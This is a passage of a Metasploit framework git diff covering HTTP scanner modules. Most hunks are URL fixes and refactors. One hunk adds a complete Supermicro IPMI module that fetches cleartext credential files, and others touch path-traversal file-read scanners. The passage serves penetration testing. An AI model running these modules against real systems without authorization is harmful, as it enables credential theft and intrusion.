b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index 3f3f1b83ba..844c503987 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']) + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']) ], self.class) register_autofilter_ports([ 3037 ]) diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index 84df7d76cd..bb72666909 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index c3c2036cf0..dbdabaabbc 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 9fcc2a2335..9a3b355d5a 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]), OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]), OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]), - OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', '209.85.148.147' ]), + OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]), OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]), OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]), OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), @@ -60,14 +60,16 @@ class Metasploit3 < Msf::Auxiliary if datastore['MULTIPORTS'] target_ports = [ 80, 1080, 3128, 8080, 8123 ] - else - target_ports.push(datastore['RPORT'].to_i) end + target_ports.push(datastore['RPORT'].to_i) + if datastore['RANDOMIZE_PORTS'] target_ports = target_ports.sort_by { rand } end + target_ports = target_ports.uniq + site = datastore['SITE'] user_agent = datastore['UserAgent'] @@ -97,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" + "Host: " + site + "\r\n" + "Connection: close" + "\r\n" + - "User-Agent: user_agent" + "\r\n" + + "User-Agent: #{user_agent}" + "\r\n" + "Accept-Encoding: *" + "\r\n" + "Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" + "Cache-Control: no" + "\r\n" + @@ -115,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary request = write_request('GET',site,user_agent) sock.put(request) - res = sock.get + res = sock.get_once(-1, 10) disconnect @@ -167,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary request = write_request('GET',ripe_address,user_agent) sock.put(request) - res = sock.get + res = sock.get_once(-1, 10) disconnect diff --git a/modules/auxiliary/scanner/http/openmind_messageos_login.rb b/modules/auxiliary/scanner/http/openmind_messageos_login.rb index dc6ff3b0c0..31b186aaa1 100644 --- a/modules/auxiliary/scanner/http/openmind_messageos_login.rb +++ b/modules/auxiliary/scanner/http/openmind_messageos_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/options.rb b/modules/auxiliary/scanner/http/options.rb index cbb6886213..1839e47ddd 100644 --- a/modules/auxiliary/scanner/http/options.rb +++ b/modules/auxiliary/scanner/http/options.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb index 3944373f8f..fb87ec82e4 100644 --- a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb +++ b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb index 0883e3e6e5..0392e70d98 100644 --- a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb +++ b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb index f180ec8f9a..0c1f907769 100644 --- a/modules/auxiliary/scanner/http/oracle_ilom_login.rb +++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index edf003f3df..356ecaaaf1 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb index a1a5b75f56..e0ab987b7b 100644 --- a/modules/auxiliary/scanner/http/pocketpad_login.rb +++ b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb index cdb270dd03..fea9b90324 100644 --- a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb +++ b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index 57c3c43ddd..115ceff6d4 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index afbbde818a..cb12852868 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -96,4 +96,4 @@ class Metasploit3 < Msf::Auxiliary end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/http/rails_mass_assignment.rb b/modules/auxiliary/scanner/http/rails_mass_assignment.rb index ae55aa5571..5bdbe7bed5 100644 --- a/modules/auxiliary/scanner/http/rails_mass_assignment.rb +++ b/modules/auxiliary/scanner/http/rails_mass_assignment.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index cdfb73f6d8..c91d8c2940 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/replace_ext.rb b/modules/auxiliary/scanner/http/replace_ext.rb index a85163b6f5..fdc6e951c3 100644 --- a/modules/auxiliary/scanner/http/replace_ext.rb +++ b/modules/auxiliary/scanner/http/replace_ext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb index 850dd1f8f4..a7ce79c852 100644 --- a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb +++ b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb index 0a9efc0d7d..62497673fc 100644 --- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb +++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/robots_txt.rb b/modules/auxiliary/scanner/http/robots_txt.rb index 3b0638537d..ffc2259a65 100644 --- a/modules/auxiliary/scanner/http/robots_txt.rb +++ b/modules/auxiliary/scanner/http/robots_txt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index b2384421b6..3cea0a550b 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, @@ -41,13 +42,13 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def run + def run_host(ip) uri = target_uri.path uri << '/' if uri[-1, 1] != '/' t = "/.." * datastore['DEPTH'] - print_status("Retrieving #{datastore['FILE']}") + vprint_status("#{peer} - Retrieving #{datastore['FILE']}") # No permission to access.log or proc/self/environ, so this is all we do :-/ uri = normalize_uri(uri, 'index.php') @@ -57,13 +58,14 @@ class Metasploit3 < Msf::Auxiliary }) if not res - print_error("Server timed out") + vprint_error("#{peer} - Server timed out") elsif res and res.body =~ /Error 404 requested page cannot be found/ - print_error("Either the file doesn't exist, or you don't have the permission to get it") + vprint_error("#{peer} - Either the file doesn't exist, or you don't have the permission to get it") else # We don't save the body by default, because there's also other junk in it. # But we still have a SAVE option just in case - print_line(res.body) + print_good("#{peer} - #{datastore['FILE']} retrieved") + vprint_line(res.body) if datastore['SAVE'] p = store_loot( @@ -73,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary res.body, ::File.basename(datastore['FILE']) ) - print_status("File saved as: #{p}") + print_good("#{peer} - File saved as: #{p}") end end end diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 8853d1e67a..5621d690b2 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb index 8a23f0f181..7e50d316d3 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index dc282363b0..f56d659877 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index a5d6f12f4c..7fabe8e043 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 3d0f2d455a..539b6ec736 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -60,6 +60,14 @@ class Metasploit3 < Msf::Auxiliary result.each do |u| print_status("[#{target_host}] #{tpath} [#{u}]") + report_note( + :host => target_host, + :port => rport, + :proto => 'tcp', + :type => "http.scraper.#{rport}", + :data => u + ) + report_web_vuln( :host => target_host, :port => rport, diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 71de9699d7..1a180a19fb 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index 1714e690c9..8a0e4774bc 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 583778d451..19c37446a5 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'The max traversal depth', 8]) ], self.class) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb new file mode 100644 index 0000000000..093251a16e --- /dev/null +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure', + 'Description' => %q{ + This module abuses a file exposure vulnerability accessible through the web interface + on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker + to obtain detailed device information and download data files containing the clear-text + usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs + were exposed to the internet with this vulnerability. + }, + 'Author' => + [ + 'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis + 'John Matherly <jmath[at]shodan.io>', # Internet-wide scan + 'Dan Farmer <zen[at]fish2.com>', # Additional investigation + 'hdm' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'], + [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] + ], + 'DisclosureDate' => 'Jun 19 2014')) + + register_options( + [ + Opt::RPORT(49152) + ], self.class) + end + + def is_supermicro? + res = send_request_cgi( + { + "uri" => "/IPMIdevicedesc.xml", + "method" => "GET" + }) + + if res && res.code == 200 && res.body.to_s =~ /supermicro/i + path = store_loot( + 'supermicro.ipmi.devicexml', + 'text/xml', + rhost, + res.body.to_s, + 'IPMIdevicedesc.xml' + ) + print_good("#{peer} - Stored the device description XML in #{path}") + return true + else + return false + end + end + + + def run_host(ip) + + unless is_supermicro? + vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller") + return + end + + candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd } + + candidates.each do |uri| + res = send_request_cgi( + { + "uri" => uri, + "method" => "GET" + }) + + next unless res + + unless res.code == 200 && res.body.length > 0 + vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}") + next + end + + path = store_loot( + 'supermicro.ipmi.passwords', + 'application/octet-stream', + rhost, + res.body.to_s, + uri.split('/').last + ) + print_good("#{peer} - Password data from #{uri} stored to #{path}") + end + end + +end diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index 16d77a623a..206f7f416f 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb index e1835b6af8..e145de83eb 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index 491fb9ff34..d7873f017b 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,8 +9,10 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + APP_NAME = "Supermicro web interface" def initialize(info = {}) @@ -23,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary a valid, but not necessarily administrator-level account, to access the contents of any file on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM) - with firmware version SMT_X9_214. + with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and + /wsman/simple_auth.passwd }, 'Author' => [ @@ -33,8 +36,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - #[ 'CVE', '' ], - [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ] + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ], + [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], 'DisclosureDate' => 'Nov 06 2013')) @@ -107,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary end end - def run + def run_host(ip) print_status("#{peer} - Checking if it's a #{APP_NAME}....") if is_supermicro? print_good("#{peer} - Check successful") @@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary file_name = my_basename(datastore['FILEPATH']) path = store_loot( - 'supermicro.ipmi.traversal', + 'supermicro.ipmi.traversal.psblock', 'application/octet-stream', rhost, contents, diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index 43967a99c7..b40d7abf45 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,183 +17,189 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP SOAP Verb/Noun Brute Force Scanner', - 'Description' => %q{ + 'Description' => %q( This module attempts to brute force SOAP/XML requests to uncover hidden methods. - }, - 'Author' => [ 'patrick' ], + ), + 'Author' => ['patrick'], 'License' => MSF_LICENSE)) register_options( [ - OptString.new('PATH', [ true, "The path to test", '/']), - OptString.new('XMLNAMESPACE', [ true, "XML Web Service Namespace", 'http://tempuri.org/']), - OptString.new('XMLINSTANCE', [ true, "XML Schema Instance", 'http://www.w3.org/2001/XMLSchema-instance']), - OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']), - OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']), - OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']), - OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]), - OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]), - OptBool.new('SSL', [ true, "Use SSL", false ]), - OptBool.new('VERB_DELETE', [ false, "Enable 'delete' verb", 'false']) + OptString.new('PATH', [true, 'The path to test', '/']), + OptString.new('XMLNAMESPACE', [true, 'XML Web Service Namespace', 'http://tempuri.org/']), + OptString.new('XMLINSTANCE', [true, 'XML Schema Instance', 'http://www.w3.org/2001/XMLSchema-instance']), + OptString.new('XMLSCHEMA', [true, 'XML Schema', 'http://www.w3.org/2001/XMLSchema']), + OptString.new('XMLSOAP', [true, 'XML SOAP', 'http://schemas.xmlsoap.org/soap/envelope/']), + OptString.new('CONTENTTYPE', [true, 'The HTTP Content-Type Header', 'application/x-www-form-urlencoded']), + OptInt.new('SLEEP', [true, 'Sleep this many milliseconds between requests', 0]), + OptBool.new('DISPLAYHTML', [true, 'Display HTML response', false]), + OptBool.new('SSL', [true, 'Use SSL', false]), + OptBool.new('VERB_DELETE', [false, 'Enable DELETE verb', false]) ], self.class) end # Fingerprint a single host def run_host(ip) + verbs = %w( + get + active + activate + create + change + set + put + do + go + resolve + start + recover + initiate + negotiate + define + stop + begin + end + manage + administer + modify + register + log + add + list + query + ) - verbs = [ - 'get', - 'active', - 'activate', - 'create', - 'change', - 'set', - 'put', - 'do', - 'go', - 'resolve', - 'start', - 'recover', - 'initiate', - 'negotiate', - 'define', - 'stop', - 'begin', - 'end', - 'manage', - 'administer', - 'modify', - 'register', - 'log', - 'add', - 'list', - 'query', - ] + verbs << 'delete' if datastore['VERB_DELETE'] - if (datastore['VERB_DELETE']) - verbs << 'delete' - end + nouns = %w( + password + task + tasks + pass + administration + account + accounts + admin + login + logins + token + tokens + credential + credentials + key + keys + guid + message + messages + user + users + username + usernames + load + list + name + names + file + files + path + paths + directory + directories + configuration + configurations + config + configs + setting + settings + registry + on + off + ) - nouns = [ - 'password', - 'task', - 'tasks', - 'pass', - 'administration', - 'account', - 'accounts', - 'admin', - 'login', - 'logins', - 'token', - 'tokens', - 'credential', - 'credentials', - 'key', - 'keys', - 'guid', - 'message', - 'messages', - 'user', - 'users', - 'username', - 'usernames', - 'load', - 'list', - 'name', - 'names', - 'file', - 'files', - 'path', - 'paths', - 'directory', - 'directories', - 'configuration', - 'configurations', - 'config', - 'configs', - 'setting', - 'settings', - 'registry', - 'on', - 'off', - ] - - target_port = datastore['RPORT'] vhost = datastore['VHOST'] || wmap_target_host || ip # regular expressions for common rejection messages reject_regexen = [] - reject_regexen << Regexp.new("method \\S+ is not valid", true) - reject_regexen << Regexp.new("Method \\S+ not implemented", true) - reject_regexen << Regexp.new("unable to resolve WSDL method name", true) + reject_regexen << Regexp.new('method \\S+ is not valid', true) + reject_regexen << Regexp.new('Method \\S+ not implemented', true) + reject_regexen << Regexp.new('unable to resolve WSDL method name', true) - begin - verbs.each do |v| - nouns.each do |n| + print_status("Starting scan with #{datastore['SLEEP']}ms delay between requests") + verbs.each do |v| + nouns.each do |n| + begin data_parts = [] - data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>" + data_parts << '<?xml version="1.0" encoding="utf-8"?>' data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">" - data_parts << "<soap:Body>" + data_parts << '<soap:Body>' data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">" data_parts << "</#{v}#{n}>" - data_parts << "</soap:Body>" - data_parts << "</soap:Envelope>" + data_parts << '</soap:Body>' + data_parts << '</soap:Envelope>' data_parts << nil data_parts << nil data = data_parts.join("\r\n") uri = normalize_uri(datastore['PATH']) - vprint_status("Sending request #{uri}/#{v}#{n} to #{wmap_target_host}:#{datastore['RPORT']}") + uri += '/' unless uri =~ /^\/$/ + uri += v + n - res = send_request_raw({ - 'uri' => uri + '/' + v + n, - 'method' => 'POST', - 'vhost' => vhost, - 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', - 'Expect' => '100-continue', - 'Content-Type' => datastore['CONTENTTYPE'], - } - }, 15) + vprint_status("Sending request #{uri} #{wmap_target_host}:#{datastore['RPORT']}") - if (res && !(res.body.empty?)) - if ((not reject_regexen.select { |r| res.body =~ r }.empty?)) + res = send_request_raw( + { + 'uri' => uri, + 'method' => 'POST', + 'vhost' => vhost, + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', + 'Expect' => '100-continue', + 'Content-Type' => datastore['CONTENTTYPE'] + } + }, 15) + + if res && 